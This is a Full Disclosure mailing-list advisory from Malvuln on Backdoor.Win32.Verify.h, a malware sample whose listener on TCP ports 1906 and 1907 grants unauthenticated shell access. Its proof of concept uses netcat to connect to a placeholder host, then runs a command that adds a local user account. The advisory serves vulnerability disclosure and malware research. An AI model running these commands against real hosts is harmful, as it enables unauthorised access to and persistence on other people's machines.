full-disclosure - [FD] Backdoor.Win32.Verify.h / Unauthenticated Remote Command Execution

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Message-ID: <CAAHK0WSkhwLLGyQXawaNx=swBHO4+an0-wM=ZpcqKDvR=7UPmg@mail.gmail.com>
Date: Thu, 7 Apr 2022 00:09:42 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Verify.h / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/82641dabbb1f73dd775e200466a07ec1.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Verify.h
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP ports 1906 and 1907. Third-party
adversaries who can reach an infected host on either port can gain access
and or run any OS command.
Family: Verify
Type: PE32
MD5: 82641dabbb1f73dd775e200466a07ec1
Vuln ID: MVID-2022-0538
Disclosure: 04/06/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 1907
Welcome to pMK_Veryfun v2082 SHELL. Have fun ^.^ !

c:\>net user APPARITIONSEC 666 /add
net user APPARITIONSEC 666 /add
The command completed successfully.

c:\>calc
calc

C:\>nc64.exe x.x.x.x 1906
Welcome to pMK_Veryfun v2082, type "help" or "helpv" for more information.
Version [2082] - 4 Apr 2005 - Written by [pMK] - x0x0x0x0x0x0x0 [pTH]
Access granted! My IP is [192.168.18.125|DESKTOP-2C3IQHO]

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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